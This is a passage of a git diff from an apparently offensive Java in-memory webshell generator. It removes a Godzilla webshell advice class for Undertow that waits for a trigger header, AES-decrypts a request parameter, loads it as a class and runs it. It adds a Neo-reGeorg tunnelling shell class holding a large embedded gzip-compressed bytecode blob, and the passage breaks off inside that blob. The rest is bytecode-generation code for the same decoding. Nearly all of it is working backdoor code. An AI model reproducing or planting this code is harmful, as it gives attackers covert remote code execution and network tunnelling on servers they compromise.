mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "[B"); - mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10 - - mv.visitJumpInsn(Opcodes.GOTO, afterBase64Decode); - - // Catch block for fallback to sun.misc.BASE64Decoder - mv.visitLabel(base64DecodeCatch); - mv.visitVarInsn(Opcodes.ASTORE, base64ExceptionIndex); // Store exception in local var 13 - - // base64 = Class.forName("sun.misc.BASE64Decoder", true, - // Thread.currentThread().getContextClassLoader()); - mv.visitLdcInsn("sun.misc.BASE64Decoder"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false); - mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 11 - - // Object decoder = base64.newInstance(); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance", "()Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder in local var 12 - - // data = (byte[]) decoder.getClass().getMethod("decodeBuffer", - // String.class).invoke(decoder, parameter); - mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("decodeBuffer"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, curParameterIndex); // Load parameter - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "[B"); - mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store data in local var 10 - - mv.visitLabel(afterBase64Decode); - } -} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/undertow/GodzillaServletInitialHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/undertow/GodzillaServletInitialHandlerAdvisor.java deleted file mode 100644 index 988eac08..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/undertow/GodzillaServletInitialHandlerAdvisor.java +++ /dev/null @@ -1,92 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.godzilla.undertow; - -import net.bytebuddy.asm.Advice; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import java.io.ByteArrayOutputStream; -import java.io.PrintWriter; -import java.lang.reflect.Method; - -/** - * @author ReaJason - */ -public class GodzillaServletInitialHandlerAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.AllArguments Object[] args - ) { - String key = "key"; - String pass = "pass"; - String md5 = "md5"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - Object servletRequestContext = null; - if (args.length == 2) { - servletRequestContext = args[1]; - } else { - servletRequestContext = args[2]; - } - Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); - Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null - && value.contains(headerValue)) { - String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); - byte[] data = null; - Class base64; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - Cipher c = Cipher.getInstance("AES"); - SecretKeySpec keySpec = new SecretKeySpec(key.getBytes(), "AES"); - c.init(2, keySpec); - data = c.doFinal(data); - Object session = request.getClass().getMethod("getSession").invoke(request); - Object sessionPayload = session.getClass().getMethod("getAttribute", String.class).invoke(session, "payload"); - if (sessionPayload == null) { - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "payload", payload); - } else { - request.getClass().getMethod("setAttribute", String.class, Object.class).invoke(request, "parameters", data); - ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); - Object f = ((Class) sessionPayload).newInstance(); - f.equals(arrOut); - f.equals(request); - PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); - writer.write(md5.substring(0, 16)); - f.toString(); - - c.init(1, keySpec); - byte[] encryptBytes = c.doFinal(arrOut.toByteArray()); - String result = null; - try { - base64 = Class.forName("java.util.Base64"); - Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); - result = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, encryptBytes); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Encoder"); - Object encoder = base64.newInstance(); - result = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, encryptBytes); - } - writer.write(result); - writer.write(md5.substring(16)); - } - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorg.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorg.java new file mode 100644 index 00000000..39730d36 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorg.java @@ -0,0 +1,148 @@ +package com.reajason.javaweb.memshell.shelltool.neoreg; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2025/2/27 + *

+ * key: key + */ +public class NeoreGeorg extends ClassLoader { + public static String headerName; + public static String headerValue; + + public static Map namespace = new HashMap(); + String chars = "yewVGo+BCvNsZrDIiKXMhkq5tFHuA9J/n2jclLdP873bOaYz1QfpTSExW64R0gUm"; + String hello = "IwGasXee9x7OudkKMG6QZT0xKxebZGasKG7skTrzHlk2qkvPhS75XP2tKx2VAqLkMk2khcktuMlEJ52e9G7Hq+WxtfgrZE6KCwTaIn=="; + byte[] base64Bytes = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 6, -1, -1, -1, 31, 60, 48, 33, 42, 58, 23, 57, 41, 40, 29, -1, -1, -1, -1, -1, -1, -1, 28, 7, 8, 14, 54, 25, 4, 26, 15, 30, 17, 37, 19, 10, 44, 39, 49, 59, 53, 52, 62, 3, 56, 18, 46, 12, -1, -1, -1, -1, -1, -1, 45, 43, 35, 38, 1, 50, 61, 20, 16, 34, 21, 36, 63, 32, 5, 51, 22, 13, 11, 24, 27, 9, 2, 55, 0, 47, -1, -1, -1, -1, -1}; + + public NeoreGeorg() { + } + + public NeoreGeorg(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public Class load(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object request = unwrapRequest(args[0]); + Object response = unwrapResponse(args[1]); + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + Object[] map = new Object[]{ + request, + response, + chars.toCharArray(), + base64Bytes, + new Integer(200), + new Integer(513), + new Integer(524288), + hello, + new Integer(1447564139), + new Integer(0), + new Integer(0), + new Integer(0), + }; + + if (namespace.get(chars) == null) { + byte[] clazzBytes = gzipDecompress(new byte[]{31, -117, 8, 0, -46, 68, -86, 100, 0, 3, -99, 57, 11, 124, 83, -11, -43, -25, 36, -9, -26, -34, -92, -105, -110, 6, 46, 112, 91, 74, 75, 11, 88, -46, -44, 42, 104, -44, 20, 80, 40, 69, 42, 109, 113, 13, 80, -47, 57, 9, -19, 109, -119, -92, 73, 77, 82, 94, 115, 76, 55, 31, -101, -113, 77, -25, 54, 7, 78, 69, -60, 101, 78, 84, 68, 13, 69, 4, -15, -123, -50, -73, -50, 109, 78, -73, -87, 123, -22, -26, -90, 115, 110, -50, 61, -20, 119, -50, 125, -92, 73, 27, -10, -15, 125, -65, 31, -3, 63, -50, -1, -4, -49, -5, 127, -50, -71, -31, -103, 79, 31, 58, 4, 0, 39, 58, 36, 15, -108, -64, 27, 18, -4, 92, -126, 123, -35, 112, 23, -4, 66, -126, -5, 120, -2, -91, 4, 111, 122, 64, -126, -73, 36, 120, 91, -122, 95, 73, -16, 107, 15, 65, 127, 35, -63, 111, 101, -8, -99, 12, -65, -105, -31, 29, 9, -34, -11, 64, 25, -4, -127, -121, 63, 74, -16, -98, 7, 38, -62, 27, 60, -4, -55, 3, 110, -8, 51, -81, -34, -25, -43, 7, 60, -4, -123, -121, 15, -103, -58, 95, -103, -20, 71, -68, -6, -101, 4, 127, -9, 64, 21, 99, -115, -125, -113, 121, -8, 7, 15, -97, -56, -16, 79, -58, -2, 23, -29, -4, 91, -122, -1, -56, -16, -87, 4, -61, 30, -104, -115, -64, 3, 74, -24, -16, 64, 0, -99, 60, 8, 18, -118, 30, -72, 17, 93, 30, 104, 68, 73, 70, -39, -125, 110, -12, 72, 88, -62, -77, -62, -61, 56, 62, 41, -107, 113, -68, -124, 94, 15, -106, -95, -113, -121, 9, 37, 56, 17, -43, 18, -100, -124, -109, 121, -104, 34, -93, 70, -36, -80, -100, 73, 86, -16, 48, -107, -73, -107, 60, 76, 35, 89, -80, -54, -125, -43, 56, -99, 6, 18, -111, -122, 79, 24, -91, -90, 4, 107, 113, 70, 9, -50, 68, 85, -58, 89, -116, 117, -100, -116, 117, 124, 50, 91, 70, 63, -49, -11, 60, 4, 120, 104, -112, -15, 120, 9, 27, 61, -80, -110, 76, -124, 39, -32, -119, -76, -62, 57, -68, 125, 95, -58, -71, 100, 17, 60, -119, 9, -100, 44, 99, 80, -58, 83, 120, 127, -86, 7, 98, 120, 26, 15, 33, 9, -101, 60, -80, 22, -25, 121, 112, 62, 46, 96, -56, -23, -28, 33, 60, -125, -39, 47, -108, 113, -111, -116, -51, 50, 46, -26, 93, -117, -124, 75, 8, 9, 62, -31, -51, -103, 50, 46, -11, 96, 43, -98, -59, 55, -106, -15, -86, -51, -125, -19, -40, -63, -100, -105, -53, 120, 54, 67, 62, -61, 67, 39, 15, 97, -58, 90, 33, -31, 74, 15, 108, 97, 47, 110, -63, 85, 50, 118, -15, 124, -114, -116, -85, 25, -8, 62, 95, 60, -105, -121, -13, 100, -4, 44, 75, 123, 62, 15, -97, 99, -105, 92, -32, -127, -85, 112, 77, 9, -100, -122, 17, 30, -42, 74, -40, -51, -112, 30, 9, 117, 9, 123, 61, 112, 13, -10, 49, -18, 58, 9, -93, 30, -72, -114, 99, -29, 58, -68, -112, -121, -11, 108, -31, 24, 15, -3, 60, -60, 37, 76, 80, 64, -30, 0, -69, -12, 34, 55, -103, 33, 41, 97, -54, 13, 55, -15, -100, 118, -61, -51, -104, 100, -76, 65, 62, -34, -32, -63, -115, -72, -119, -121, -51, 60, 108, -111, -16, -13, 30, -40, -59, -78, -17, -62, -117, 121, -8, -126, -124, 91, 37, -4, -94, 7, -18, -92, 0, -57, 75, 36, -68, 84, -62, 47, 33, 56, -12, 56, 13, -25, 53, -45, -48, -93, -13, 106, 17, -126, -100, -46, 83, -87, 104, 34, -98, 66, 24, -33, 118, 97, 100, 67, -92, 113, 48, 29, -115, 53, -74, 71, 6, -102, 16, -36, -31, 104, 95, 60, -110, 30, 76, 18, -10, -55, -123, -89, -13, -52, 109, 44, 18, -17, 107, 12, -89, -109, -47, 120, 95, 83, 30, 100, -7, -38, 11, -11, -18, 116, -45, 2, -94, -31, -102, 23, -115, 71, -45, 11, 16, -100, 117, -77, 87, 33, 8, -51, 9, -26, -19, -46, 47, 26, -116, -60, -120, -87, 90, 55, -10, -38, -20, 115, 17, -60, -75, -63, -109, 88, -36, 73, 117, -25, 45, -102, 61, -106, -105, -119, -64, -108, 38, -43, -115, 61, -99, -51, -102, -71, -41, -23, -111, 30, 61, -71, 94, -33, -116, 48, -85, 24, 82, 49, -86, -98, -106, 77, -35, -6, 64, -38, 52, -120, 20, 77, -59, 18, -35, -111, -40, 40, 41, -19, -5, 36, -91, 103, 109, 108, -61, 5, 61, 122, -73, -95, -109, -97, 68, -51, 67, 107, -115, -89, -11, 62, 61, 73, -62, -116, -43, -48, -70, -87, -57, 115, 55, -57, -30, 20, 37, 69, 122, 41, -47, -8, -122, -60, 122, -67, 93, 79, -81, 75, -12, 32, 44, 43, 98, -64, -79, -62, 22, -95, 63, -69, -104, 88, -29, -14, -119, -49, 65, 56, -1, -1, 76, -67, 57, 22, 73, -91, -114, -103, -97, 59, 25, -119, -9, 44, -38, -100, -42, -55, -36, -82, -70, -42, 86, 67, 67, -49, 90, 6, -84, 72, -112, -38, -28, 103, 14, -128, 86, 2, 70, -29, -23, 21, 9, 11, 85, -84, 51, 49, 93, 27, -12, 100, -76, -105, 28, -36, 88, -60, 65, 6, 100, 83, 99, 92, 79, 55, -90, 82, -79, -58, 112, -72, 45, 108, -58, -70, -31, 58, 95, -9, 58, -67, 123, 125, 115, 44, -86, 19, -35, -28, 96, 42, -83, -109, 49, 67, -74, 35, 82, 122, -9, 96, 50, -102, -34, -36, -40, -83, 39, -45, -115, -25, -100, 124, -62, 105, -51, -76, -120, -10, 70, -69, 35, 105, -67, -120, 5, 102, -81, -110, -16, -53, 54, -47, -80, -98, 36, -71, 114, 68, 125, 125, 122, 122, 97, 55, -121, -107, -34, -45, -102, 74, 13, -22, 73, -46, -32, -72, -70, -39, -57, -60, -118, 94, -24, -68, -18, -104, -15, -124, 20, -56, -62, 62, -124, 9, 69, 108, -85, -64, 61, 112, -81, 2, 123, -32, 62, -124, -78, 49, 113, -93, -32, 101, 120, 57, -126, 119, -76, -44, 100, 126, 18, -83, -117, -104, -21, -55, -126, 99, -109, -86, 2, 79, -61, 15, 17, 74, 13, 120, 52, -47, 104, 35, 2, -31, -46, -67, -26, 4, 81, -113, -89, -37, -12, 120, 95, 122, 29, -95, 17, -88, 53, 62, 48, -104, 38, -38, 122, -92, -97, -28, -76, -17, -27, 65, 21, -68, 2, 47, 87, -16, 74, 120, 17, 97, -14, 104, 113, 22, 13, 70, 99, 61, 44, -19, 87, -16, -85, -92, 43, 94, -91, -32, -43, 120, -115, -126, -41, -30, -41, 20, -4, 58, -33, -69, 22, -81, 83, -32, 32, 28, 82, -16, 122, -4, -122, 2, 79, -64, -109, 54, 27, -125, 76, -18, -19, 42, 120, 3, 126, 83, -63, 111, -63, 62, 5, -65, -51, 54, 19, 86, 116, -82, 108, 81, -16, 70, -4, -114, 2, -113, -63, -29, 20, 64, 73, 61, -91, -89, 77, 3, -40, 47, 73, 49, 40, 113, -72, -84, -20, 108, 99, 1, -120, -60, 54, -36, -114, 80, -98, 59, 88, -102, 78, 15, -48, 33, -87, 30, 39, 3, 25, -100, 110, 98, -76, -17, -30, -51, 8, -43, -123, -15, -58, -72, -87, 81, -56, -73, -64, 67, 10, -34, -118, 59, 40, 27, 82, 56, 74, 120, -101, -126, 59, -15, 118, -117, -61, -56, 85, 35, 116, -38, 35, -15, -120, -31, -68, 93, 120, -121, -126, -33, -61, -116, -126, -33, -57, 59, 77, 67, 47, 53, 82, 91, 71, -92, -97, 31, -125, 106, -120, 103, 36, -26, -106, -8, 96, -65, -98, -116, 48, 51, 9, 127, -96, -32, 93, -72, 91, -63, -69, -15, 30, 9, -17, 85, 112, 15, -34, 39, -31, 94, 5, -17, -57, 7, 20, 124, 16, -77, -90, -10, 38, 41, 5, 30, -127, -61, 10, -18, -61, 33, 5, -9, -29, 67, 10, 28, -127, -89, 20, 56, 0, 15, 43, 120, 0, 31, -106, -16, 32, -101, -108, -20, -2, 8, 30, -106, -16, 81, 5, 31, -61, -57, 37, 124, -126, -124, -79, -94, -96, -63, 12, 3, 5, -97, 100, -21, -106, -83, -96, 103, -99, -22, -43, -109, 13, 45, -100, -31, -56, -73, 10, 30, -127, -61, -60, 48, -107, 99, -120, 79, -111, 71, -31, 29, 124, 90, -63, 31, -30, -45, -26, 81, 56, 77, -59, -122, 52, -86, -76, 67, -121, -97, -5, -62, 100, 50, -78, 121, -7, 96, 58, 23, 68, 18, 62, -93, -32, -77, -8, 28, -117, 116, 21, 93, -116, -12, -12, -40, 52, -81, -90, 0, -63, -25, -15, 26, -124, 18, -61, -63, -117, 6, 123, 123, 57, 100, -91, -26, -27, 29, 29, 45, -51, 43, 20, 124, -127, 66, 0, 95, -60, -105, 20, 124, 25, 95, -55, 119, 109, 43, 13, -31, 68, -9, 122, 122, -85, 61, 61, 116, 57, -59, 17, -16, 35, 9, 95, 85, -16, -57, -8, 19, 5, 127, -118, -81, 41, -80, 23, -18, 87, -16, 103, -8, 58, 21, -49, -27, -53, 40, -84, -106, 44, 108, 109, -93, -44, -76, -72, 53, -100, 99, -16, 6, -2, 28, -95, -54, 36, 75, 26, 116, -81, -117, -112, -5, 99, -87, 70, -109, 118, -77, -71, 85, -16, 23, -116, 38, 116, -74, 44, 92, 44, -31, 47, 21, 124, 19, -33, -94, 103, -127, 111, 43, -8, 43, 54, -9, -81, 21, -4, 13, -2, 86, -63, -33, -31, -61, 36, -4, -110, -27, -99, 93, 11, 59, 23, 51, -25, -33, 43, -8, 14, 31, -68, -53, 62, -68, 1, -33, -90, -6, 55, -10, 25, -79, -50, -4, -118, -2, 64, 98, -50, -97, -49, -85, 63, 34, -32, 124, 86, -24, 61, -66, -11, 30, -19, 26, 20, -4, 19, -2, 89, -63, -9, -7, -123, 125, -64, -61, 95, -16, 67, 5, -1, -54, 116, 63, -30, -40, -48, 114, -106, -23, -48, -45, 27, 19, -55, -11, -100, 76, -110, -67, -111, 110, 93, -63, -65, -31, -121, 8, 19, 11, 76, 103, 25, -51, -114, 70, 27, 124, -110, 109, 76, -4, 59, -15, -128, -3, -16, 16, -62, -44, 49, -34, 45, -56, 16, 87, 26, 25, 2, 63, 86, -32, 5, 120, 81, -127, -25, -32, 121, 5, 94, -126, -105, -87, 63, 25, 85, 100, 20, -4, 7, 126, -94, -32, 63, -15, 95, 10, -2, 27, -1, 99, 103, 42, 3, -95, 45, -63, -23, 45, -17, 70, 120, 93, 34, 73, 25, -19, 25, 120, 86, -127, 79, -15, 83, 9, -121, 21, 7, -112, -78, 14, -60, -101, 21, -121, -61, -31, -76, 19, -96, -15, -114, 58, -87, 42, 37, -6, 21, -121, -32, 16, 21, -121, -117, -93, -84, -26, 127, -49, -43, 118, -22, 53, 40, 44, -115, -92, -42, 81, -101, 68, -63, -47, -95, 39, -110, -6, -103, 52, -112, 64, -45, 70, -91, -120, 68, 42, 29, -89, 71, -68, -118, -85, 88, -108, 3, 117, 20, 2, 115, -56, 79, 6, 84, 55, -118, -56, -111, 39, 67, 46, 5, 82, -35, -96, -126, -71, 42, 18, 27, -44, -115, -42, -85, -107, 31, -54, -122, 72, 52, 22, 89, 27, 35, -120, 64, -74, -90, -108, -25, -118, 12, 12, -24, 113, 90, 52, 28, 83, -125, 100, 101, -24, 38, -85, 42, 83, 59, 39, -89, 19, 118, 45, -103, 88, 87, -76, -93, 114, -89, 6, -41, -90, 44, -108, 73, 92, -31, -117, 33, -71, 98, 86, 21, 81, -21, -118, 35, 72, 27, 88, -109, -27, -67, 6, -115, 124, 12, -69, 53, 34, -111, 54, 114, 125, 58, 74, -81, 70, -94, -118, -67, -79, -63, 20, -79, 16, -69, 99, -119, 20, -31, -71, -69, 19, -3, 3, -111, -92, -66, 34, 113, -108, 59, 100, -78, -46, 4, -103, 103, 36, -127, 83, -66, -80, -107, -76, -54, -60, -56, 25, 73, -32, -91, -116, -45, 73, -115, -83, -98, -54, -43, -108, 18, 2, 45, 78, -104, -39, -117, -84, 94, 119, 46, 75, -30, -119, -90, 90, -29, -87, 116, 36, -34, 77, 98, 76, -32, -108, 56, 38, 14, 106, -21, 70, 117, 47, -93, 81, 12, -107, -90, 20, -30, 80, 73, 49, -46, -15, 38, 98, 85, 98, -108, 99, -101, -55, -15, 71, 117, 111, -79, -37, -92, -118, -64, 29, 7, 66, -105, -43, 15, -115, 96, 45, -45, 55, 91, -79, -40, 52, -6, 40, 63, 80, -101, 70, -11, 54, 97, 94, -24, -26, -77, 50, 68, -25, 14, -62, 76, -119, 75, 34, -35, -23, 68, -110, 122, -72, -102, -70, 34, 34, 21, -32, 52, -103, -26, 26, 13, 46, 98, -82, 49, 55, -103, 103, 94, -95, 108, 78, -60, 98, -90, -33, 40, 101, 9, -79, 104, 42, 61, 98, -92, -47, -107, -44, 126, 8, 6, -36, -56, 87, 109, -124, -49, 65, -103, -44, -87, -49, -29, 88, -102, -112, 127, -43, 56, 101, 126, -91, -123, 48, 126, -110, 105, -90, -103, 72, 114, 24, -25, 83, 109, -75, -32, 68, -44, 55, 22, 74, -100, -42, 69, 82, 29, -122, 95, -23, 41, 83, -13, 42, -60, -115, 77, -31, -109, -53, 53, -43, -66, -111, 56, 60, 59, 73, 17, -100, 76, 111, -26, -122, -13, 40, 29, -14, -104, -121, 50, -98, 92, -109, 95, 111, 41, -50, 108, 62, -108, -76, -13, 79, -72, 59, 37, 100, -85, 41, 23, -22, -116, -98, 124, 98, 49, 76, 82, -127, 50, 6, -67, 126, -117, -66, 89, -80, -105, 68, -11, 88, 15, -35, 44, 43, 48, -122, -7, -19, 57, -82, 0, 64, 41, -126, 62, -28, -62, -36, -78, 21, 34, 19, -88, 16, -39, -64, -15, -102, -97, -105, -83, 125, 113, -54, -67, -51, 17, 118, 81, 105, 33, 87, 83, -116, 78, 61, 53, 64, 33, -96, -101, 31, -91, -109, -13, -44, -52, 43, 73, 77, -26, -27, -106, 100, 50, -111, -76, -75, -55, -17, -91, 55, 83, -101, -33, -49, -23, -107, 67, -93, 59, 49, -80, -103, 63, -24, -58, -6, -91, -75, 8, -56, -80, -121, 64, -90, -89, -5, 50, 37, -93, -108, 110, 124, -13, 8, -100, 118, 56, -86, -19, 100, 115, -44, 70, -126, 115, 103, -54, 0, 112, 16, -26, -27, 38, 19, -85, -87, -8, -9, -79, -23, -122, 81, -72, -28, -94, 110, 51, -101, 81, -119, -82, 27, 77, -55, -86, -29, -26, -43, 50, 66, -20, -115, -10, -47, -117, 94, 68, 31, -56, -21, -115, -36, 94, 71, -71, -83, -104, -76, 58, -65, 51, 46, 58, 35, 18, 59, -115, 100, 120, -22, 127, -1, -76, -4, 111, 95, -115, -50, 62, 22, 119, 86, 17, 2, 69, -47, 93, 73, -67, 63, -79, 65, -73, -65, 21, -30, 86, -21, 97, 55, -121, 114, 36, -58, -97, -7, 92, 59, -90, -28, -118, 75, 33, 82, 19, 31, 21, 61, -32, 42, 33, 26, -98, -49, 89, -108, 17, 44, -46, 84, 107, -12, 72, 50, -33, 53, -71, 67, 34, 89, -110, 78, -28, 90, 32, 106, -72, 70, 126, -23, 24, -61, 92, -24, -115, 69, -23, 13, 40, -108, 6, 58, -11, -2, 8, 37, 103, 54, 121, 69, 93, 115, -79, 26, 109, -35, 9, 28, 99, 73, -73, 89, -44, 25, -82, 21, 83, 3, 49, -50, -4, -59, -46, 69, -63, 47, 25, -71, -46, 76, 90, -84, -92, 46, 34, 105, 62, 51, -87, -49, 44, 103, -108, 7, 104, 53, -70, 117, 76, -79, -102, -7, -49, 55, 63, -51, -110, 1, 73, -65, 118, 122, -79, 45, 49, -67, -97, 62, 42, 8, -69, -124, 19, -99, -75, 53, -117, 70, 94, -77, -55, -28, 74, 45, 126, -71, -2, -45, -54, 51, -83, 102, 106, 50, 26, -59, 60, -5, -113, 116, -113, 92, -81, -93, -87, -123, -87, 20, -1, -60, 69, -31, -71, 36, -103, -24, -25, -116, 58, 6, -49, -56, -73, 43, 86, -97, -35, 66, 113, 95, -124, -56, 25, 69, 12, 53, -10, -9, -112, 124, -10, 73, -67, -105, -33, 68, -93, -39, 35, 52, 89, 101, -68, -40, 25, -1, -40, -109, -30, -97, 14, 72, 74, -93, 109, 27, -105, 50, 127, 74, -80, -9, 46, -13, -25, 26, -124, -45, -118, -68, -123, 99, -3, 13, 70, 98, 27, -101, 121, -89, -50, 48, -100, -101, 1, 70, 82, -121, -23, 112, 23, -108, -128, 3, 118, -61, -35, -32, -92, -7, 30, -72, 23, -128, -26, 61, 112, 31, -51, 110, -2, 32, 2, -124, 7, 12, -40, -125, -32, -93, 117, 22, -10, -47, 56, 68, -112, 50, -102, -111, 102, -47, 79, 16, 70, -25, 95, 14, -24, 11, -64, 60, 118, -67, 5, 46, 56, -114, -26, -117, -21, 15, -125, -125, -2, -75, 7, -100, 115, 58, 2, -62, -100, -112, -32, 15, -120, 115, 14, -125, -109, -2, 61, 8, -76, 113, -47, 70, -92, 127, 15, -126, 43, 32, -47, 90, -54, -126, 28, 20, 3, -78, -67, 116, 5, -68, 46, 123, 45, 5, -68, -116, -30, 14, -55, 1, 111, 14, -63, 29, -16, -70, -19, -75, 39, -32, -11, -40, -21, -110, -128, -73, -60, 94, 43, 66, 112, -100, 24, 44, 117, 5, -57, 75, 65, -81, 28, 44, -13, -70, -126, 62, -81, 20, -100, 64, -21, -119, 94, 119, 80, -43, 4, -97, -57, 121, 16, 74, -122, 64, 57, 12, -29, 66, -109, -68, 117, -76, 9, 77, 54, -89, 41, -66, -46, -112, 70, 127, -27, 13, -66, -15, 57, 36, -55, -92, -20, -72, 21, -18, -94, -93, -118, 6, -97, 55, 119, 84, 22, -102, -86, 77, -51, -126, 47, 88, -87, 86, 58, 118, -128, 43, 3, -89, -88, -107, 15, -53, -95, 105, -38, 84, 109, 90, 22, 38, -104, -80, -38, 3, 48, 113, -11, 62, 80, -75, -118, 44, 76, 58, 0, -18, -43, -38, -76, 125, 48, -103, -42, 89, -104, 18, -86, -56, 12, 63, -94, 122, -124, 29, 16, -46, 42, -100, 106, 73, 22, -76, -112, -90, 85, 48, 106, -71, -86, -12, 24, 51, -61, -54, -75, 10, 62, -84, 8, -47, -111, -45, 62, -27, -125, 10, 63, -17, -90, -122, 42, -75, 74, -43, 61, 4, -107, 67, 48, 45, 52, 57, 99, 32, 78, -30, -109, -22, 44, 76, -41, -120, 83, 13, 15, -75, -50, -35, -38, 100, 117, -94, 97, 88, 34, 116, -60, 113, 5, 109, 85, 99, 75, -118, -8, 102, 100, 97, -26, 54, 80, 12, -118, -77, -74, 59, -94, -116, -117, 97, 70, -95, 81, -16, 29, 103, -23, -35, -43, -32, -85, -53, -103, -64, 29, -86, 60, 0, -77, 87, 107, 21, -5, -64, 79, 122, -109, -42, 20, 6, -127, 80, -107, 86, -91, 85, 102, -95, 65, -85, 18, -78, 112, -68, -81, 81, -85, -54, -62, 9, -37, -128, -26, -61, -48, -24, -49, -62, -119, -66, 57, 67, 48, 55, 84, -83, 85, -93, 112, 16, 78, 90, -19, -12, -121, 49, 11, 39, 27, -57, 26, -55, 28, -52, -62, 41, 13, -66, 83, 115, 108, 78, 99, -44, 33, 8, -123, -90, 107, -45, -121, -96, 73, -101, -66, 31, -26, 33, -124, 